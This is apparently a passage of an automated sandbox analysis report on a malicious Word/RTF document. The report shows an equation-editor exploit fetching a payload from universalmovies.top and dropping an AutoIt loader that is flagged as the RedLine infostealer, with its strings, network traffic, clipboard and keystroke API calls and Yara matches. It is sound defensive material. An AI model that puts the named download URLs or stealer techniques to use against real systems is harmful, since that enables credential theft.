Source: RegSvcs.exe, 0000000C.00000002.439295292.00000000020A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/fault
Source: RegSvcs.exe, 0000000C.00000002.439295292.00000000020A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: RegSvcs.exe, 0000000C.00000002.439295292.00000000020A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RegSvcs.exe, 0000000C.00000002.439295292.00000000020F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: RegSvcs.exe, 0000000C.00000002.439295292.00000000020A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnect
Source: RegSvcs.exe, 0000000C.00000002.439295292.00000000020A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnectResponse
Source: RegSvcs.exe, 0000000C.00000002.439295292.00000000020A1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.00000000020F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettings
Source: RegSvcs.exe, 0000000C.00000002.439295292.00000000020A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettingsResponse
Source: RegSvcs.exe, 0000000C.00000002.439295292.0000000002493000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.00000000020A1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.00000000020F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdates
Source: RegSvcs.exe, 0000000C.00000002.439295292.00000000020A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdatesResponse
Source: RegSvcs.exe, 0000000C.00000002.439295292.0000000002353000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.00000000020A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironment
Source: RegSvcs.exe, 0000000C.00000002.439295292.00000000020A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironmentResponse
Source: RegSvcs.exe, 0000000C.00000002.439295292.00000000020A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdate
Source: RegSvcs.exe, 0000000C.00000002.439295292.00000000020A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdateResponse
Source: RegSvcs.exe, 0000000C.00000002.439295292.0000000002493000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/x
Source: EQNEDT32.EXE, 00000009.00000003.391274570.00000000005F1000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.391551132.00000000005F8000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439171465.00000000008A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: EQNEDT32.EXE, 00000009.00000003.391274570.00000000005F1000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.391505550.00000000005C3000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.391551132.00000000005F8000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000003.391282505.00000000005C3000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439171465.00000000008A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: RegSvcs.exe, 0000000C.00000002.439295292.000000000230C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002218000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002566000.00000004.00000800.00020000.00000000.sdmp, tmpD804.tmp.12.dr, tmp9D43.tmp.12.dr, tmp6274.tmp.12.dr, tmp27E3.tmp.12.dr, tmpD7E3.tmp.12.dr, tmp3D9E.tmp.12.dr, tmpB2E0.tmp.12.dr, tmpB2B0.tmp.12.dr, tmp784E.tmp.12.dr, tmpED42.tmp.12.dr, tmp780F.tmp.12.dr, tmpED81.tmp.12.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: RegSvcs.exe, 0000000C.00000002.439295292.00000000020F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb
Source: RegSvcs.exe, 0000000C.00000002.439295292.00000000020F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/geoip
Source: RegSvcs.exe, RegSvcs.exe, 0000000C.00000002.439069013.00000000000E2000.00000020.80000000.00040000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/geoip%USERPEnvironmentROFILE%
Source: RegSvcs.exe	String found in binary or memory: https://api.ipify.
Source: RegSvcs.exe	String found in binary or memory: https://api.ipify.orgcoo
Source: RegSvcs.exe, RegSvcs.exe, 0000000C.00000002.439069013.00000000000E2000.00000020.80000000.00040000.00000000.sdmp	String found in binary or memory: https://api.ipify.orgcookies//settinString.Removeg
Source: RegSvcs.exe, 0000000C.00000002.439295292.000000000230C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002218000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002566000.00000004.00000800.00020000.00000000.sdmp, tmpD804.tmp.12.dr, tmp9D43.tmp.12.dr, tmp6274.tmp.12.dr, tmp27E3.tmp.12.dr, tmpD7E3.tmp.12.dr, tmp3D9E.tmp.12.dr, tmpB2E0.tmp.12.dr, tmpB2B0.tmp.12.dr, tmp784E.tmp.12.dr, tmpED42.tmp.12.dr, tmp780F.tmp.12.dr, tmpED81.tmp.12.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: RegSvcs.exe, 0000000C.00000002.439295292.000000000230C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002218000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002566000.00000004.00000800.00020000.00000000.sdmp, tmpD804.tmp.12.dr, tmp9D43.tmp.12.dr, tmp6274.tmp.12.dr, tmp27E3.tmp.12.dr, tmpD7E3.tmp.12.dr, tmp3D9E.tmp.12.dr, tmpB2E0.tmp.12.dr, tmpB2B0.tmp.12.dr, tmp784E.tmp.12.dr, tmpED42.tmp.12.dr, tmp780F.tmp.12.dr, tmpED81.tmp.12.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: RegSvcs.exe, 0000000C.00000002.439295292.000000000230C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002218000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002566000.00000004.00000800.00020000.00000000.sdmp, tmpD804.tmp.12.dr, tmp9D43.tmp.12.dr, tmp6274.tmp.12.dr, tmp27E3.tmp.12.dr, tmpD7E3.tmp.12.dr, tmp3D9E.tmp.12.dr, tmpB2E0.tmp.12.dr, tmpB2B0.tmp.12.dr, tmp784E.tmp.12.dr, tmpED42.tmp.12.dr, tmp780F.tmp.12.dr, tmpED81.tmp.12.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: RegSvcs.exe, 0000000C.00000002.439295292.000000000230C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002218000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002566000.00000004.00000800.00020000.00000000.sdmp, tmpD804.tmp.12.dr, tmp9D43.tmp.12.dr, tmp6274.tmp.12.dr, tmp27E3.tmp.12.dr, tmpD7E3.tmp.12.dr, tmp3D9E.tmp.12.dr, tmpB2E0.tmp.12.dr, tmpB2B0.tmp.12.dr, tmp784E.tmp.12.dr, tmpED42.tmp.12.dr, tmp780F.tmp.12.dr, tmpED81.tmp.12.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: RegSvcs.exe, RegSvcs.exe, 0000000C.00000002.439069013.00000000000E2000.00000020.80000000.00040000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/ip%appdata%
Source: RegSvcs.exe, 0000000C.00000002.439295292.000000000230C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002218000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002566000.00000004.00000800.00020000.00000000.sdmp, tmpD804.tmp.12.dr, tmp9D43.tmp.12.dr, tmp6274.tmp.12.dr, tmp27E3.tmp.12.dr, tmpD7E3.tmp.12.dr, tmp3D9E.tmp.12.dr, tmpB2E0.tmp.12.dr, tmpB2B0.tmp.12.dr, tmp784E.tmp.12.dr, tmpED42.tmp.12.dr, tmp780F.tmp.12.dr, tmpED81.tmp.12.dr	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: RegSvcs.exe, 0000000C.00000002.439295292.000000000230C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002218000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002566000.00000004.00000800.00020000.00000000.sdmp, tmpD804.tmp.12.dr, tmp9D43.tmp.12.dr, tmp6274.tmp.12.dr, tmp27E3.tmp.12.dr, tmpD7E3.tmp.12.dr, tmp3D9E.tmp.12.dr, tmpB2E0.tmp.12.dr, tmpB2B0.tmp.12.dr, tmp784E.tmp.12.dr, tmpED42.tmp.12.dr, tmp780F.tmp.12.dr, tmpED81.tmp.12.dr	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: EQNEDT32.EXE, 00000009.00000003.391274570.00000000005F1000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.391505550.00000000005C3000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.391551132.00000000005F8000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000003.391282505.00000000005C3000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439171465.00000000008A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: RegSvcs.exe, 0000000C.00000002.439295292.000000000249D000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002218000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002566000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.LR
Source: RegSvcs.exe, 0000000C.00000002.439295292.0000000002131000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002218000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002566000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: RegSvcs.exe, 0000000C.00000002.439295292.000000000249D000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002218000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002566000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_flashLR
Source: EQNEDT32.EXE, 00000009.00000003.391282505.000000000057D000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.391505550.000000000057E000.00000004.00000020.00020000.00000000.sdmp, universalmovies.top.url.0.dr	String found in binary or memory: https://universalmovies.top/
Source: EQNEDT32.EXE, EQNEDT32.EXE, 00000009.00000002.391505550.000000000054F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://universalmovies.top/ExtExport2.exe
Source: EQNEDT32.EXE, 00000009.00000002.391505550.000000000054F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://universalmovies.top/ExtExport2.exeF
Source: EQNEDT32.EXE, 00000009.00000002.391505550.000000000054F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://universalmovies.top/ExtExport2.exej
Source: EQNEDT32.EXE, 00000009.00000002.391505550.000000000054F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://universalmovies.top/ExtExport2.exeooC:
Source: EQNEDT32.EXE, 00000009.00000003.391282505.000000000057D000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.391505550.000000000057E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://universalmovies.top/FB8Rj
Source: notorious.doc.url.0.dr	String found in binary or memory: https://universalmovies.top/notorious.doc
Source: tmpED81.tmp.12.dr	String found in binary or memory: https://www.google.com/favicon.ico

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49169
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49167
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49166
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49175
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49174
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49173
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49172
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49171
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49170
Source: unknown	Network traffic detected: HTTP traffic on port 49172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49169 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49167 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49174 -> 443

Source: unknown	HTTPS traffic detected: 104.21.74.191:443 -> 192.168.2.22:49166 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.74.191:443 -> 192.168.2.22:49173 version: TLS 1.2

Source: C:\Users\user\AppData\Roaming\notorious53209.exe

Code function: 10_2_002A425A OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalFix,CloseClipboard,GlobalUnWire,IsClipboardFormatAvailable,GetClipboardData,GlobalFix,GlobalUnWire,IsClipboardFormatAvailable,GetClipboardData,GlobalFix,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnWire,CountClipboardFormats,CloseClipboard,

10_2_002A425A

Source: C:\Users\user\AppData\Roaming\notorious53209.exe

Code function: 10_2_002A4458 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalFix,_wcscpy,GlobalUnWire,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

10_2_002A4458

Source: C:\Users\user\AppData\Roaming\notorious53209.exe

10_2_002A425A

Source: C:\Users\user\AppData\Roaming\notorious53209.exe

Code function: 10_2_00290219 GetKeyboardState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

10_2_00290219

Source: C:\Users\user\AppData\Roaming\notorious53209.exe

Code function: 10_2_002BCDAC NtdllDialogWndProc_W,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,SetCapture,ClientToScreen,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

10_2_002BCDAC

System Summary

Malicious sample detected (through community Yara rule)

Source: 10.2.notorious53209.exe.170000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 10.2.notorious53209.exe.170000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 10.2.notorious53209.exe.170000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 10.2.notorious53209.exe.170000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 12.2.RegSvcs.exe.e0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 12.2.RegSvcs.exe.e0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0000000A.00000002.395538045.0000000000170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0000000A.00000002.395538045.0000000000170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0000000C.00000002.439069013.00000000000E2000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Process Memory Space: notorious53209.exe PID: 3468, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Process Memory Space: RegSvcs.exe PID: 3536, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\notorious[1].doc, type: DROPPED	Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D9B70A7F.doc, type: DROPPED	Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen

Binary is likely a compiled AutoIt script file

Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: This is a third-party compiled AutoIt script.	10_2_00233B4C
Source: notorious53209.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: notorious53209.exe, 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_bc9cf93b-9
Source: notorious53209.exe, 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_c019bc57-4

Microsoft Office drops suspicious files

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File created: C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\notorious.doc.url			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File created: C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\universalmovies.top.url			Jump to behavior

Office equation editor drops PE file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\notorious53209.exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\ExtExport2[1].exe			Jump to dropped file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior

Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_00233633 NtdllDefWindowProc_W,KillTimer,SetTimer,RegisterClipboardFormatW,CreatePopupMenu,PostQuitMessage,SetFocus,MoveWindow,	10_2_00233633
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_002BC220 NtdllDialogWndProc_W,	10_2_002BC220
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_002BC27C ReleaseCapture,SetWindowTextW,SendMessageW,NtdllDialogWndProc_W,	10_2_002BC27C
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_002BC49C PostMessageW,GetFocus,GetDlgCtrlID,_memset,GetMenuItemInfoW,GetMenuItemCount,GetMenuItemID,GetMenuItemInfoW,GetMenuItemInfoW,CheckMenuRadioItem,NtdllDialogWndProc_W,	10_2_002BC49C
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_002BC788 GetCursorPos,TrackPopupMenuEx,GetCursorPos,NtdllDialogWndProc_W,	10_2_002BC788
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_002BC86D SendMessageW,NtdllDialogWndProc_W,	10_2_002BC86D
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_002BC8EE DragQueryPoint,SendMessageW,DragQueryFileW,DragQueryFileW,_wcscat,SendMessageW,SendMessageW,SendMessageW,SendMessageW,DragFinish,NtdllDialogWndProc_W,	10_2_002BC8EE
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_002BCB7F NtdllDialogWndProc_W,	10_2_002BCB7F
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_002BCB50 NtdllDialogWndProc_W,	10_2_002BCB50
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_002BCBAE NtdllDialogWndProc_W,	10_2_002BCBAE
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_002BCBF9 NtdllDialogWndProc_W,	10_2_002BCBF9
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_002BCC2E ClientToScreen,NtdllDialogWndProc_W,	10_2_002BCC2E
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_002BCD6C GetWindowLongW,NtdllDialogWndProc_W,	10_2_002BCD6C
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_002BCDAC NtdllDialogWndProc_W,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,SetCapture,ClientToScreen,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,	10_2_002BCDAC
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_00231287 NtdllDialogWndProc_W,GetSysColor,SetBkColor,73666F36,NtdllDialogWndProc_W,	10_2_00231287
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_00231290 NtdllDialogWndProc_W,GetClientRect,GetCursorPos,ScreenToClient,	10_2_00231290
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_0023167D NtdllDialogWndProc_W,	10_2_0023167D
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_002316B5 NtdllDialogWndProc_W,	10_2_002316B5
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_002BD6C6 NtdllDialogWndProc_W,	10_2_002BD6C6
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_002316DE GetParent,NtdllDialogWndProc_W,	10_2_002316DE
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_002BD74C GetSystemMetrics,GetSystemMetrics,MoveWindow,SendMessageW,SendMessageW,ShowWindow,InvalidateRect,NtdllDialogWndProc_W,	10_2_002BD74C
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_0023189B NtdllDialogWndProc_W,	10_2_0023189B
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_002BDA9A NtdllDialogWndProc_W,	10_2_002BDA9A
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_002BBF4D NtdllDialogWndProc_W,CallWindowProcW,	10_2_002BBF4D

Source: C:\Users\user\AppData\Roaming\notorious53209.exe

Code function: 10_2_00294021: CreateFileW,DeviceIoControl,CloseHandle,

10_2_00294021

Source: C:\Users\user\AppData\Roaming\notorious53209.exe

Code function: 10_2_00288858 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,756C1AAC,CreateProcessAsUserW,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,

10_2_00288858

Source: C:\Users\user\AppData\Roaming\notorious53209.exe

Code function: 10_2_0029545F ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

10_2_0029545F

Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_0023E800	10_2_0023E800
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_002533C7	10_2_002533C7
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_0025DBB5	10_2_0025DBB5
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_0023E060	10_2_0023E060
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_002B804A	10_2_002B804A
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_00244140	10_2_00244140
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_00252405	10_2_00252405
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_00266522	10_2_00266522
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_002B0665	10_2_002B0665
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_0026267E	10_2_0026267E
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_0025283A	10_2_0025283A
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_00246843	10_2_00246843
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_002689DF	10_2_002689DF
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_00248A0E	10_2_00248A0E
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_00266A94	10_2_00266A94
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_002B0AE2	10_2_002B0AE2
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_0028EB07	10_2_0028EB07
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_00298B13	10_2_00298B13
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_0025CD61	10_2_0025CD61
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_00267006	10_2_00267006
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_0024710E	10_2_0024710E
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_00243190	10_2_00243190
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_00231287	10_2_00231287
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_0025F419	10_2_0025F419
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_00245680	10_2_00245680
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_002516C4	10_2_002516C4
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_002458C0	10_2_002458C0
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_002578D3	10_2_002578D3
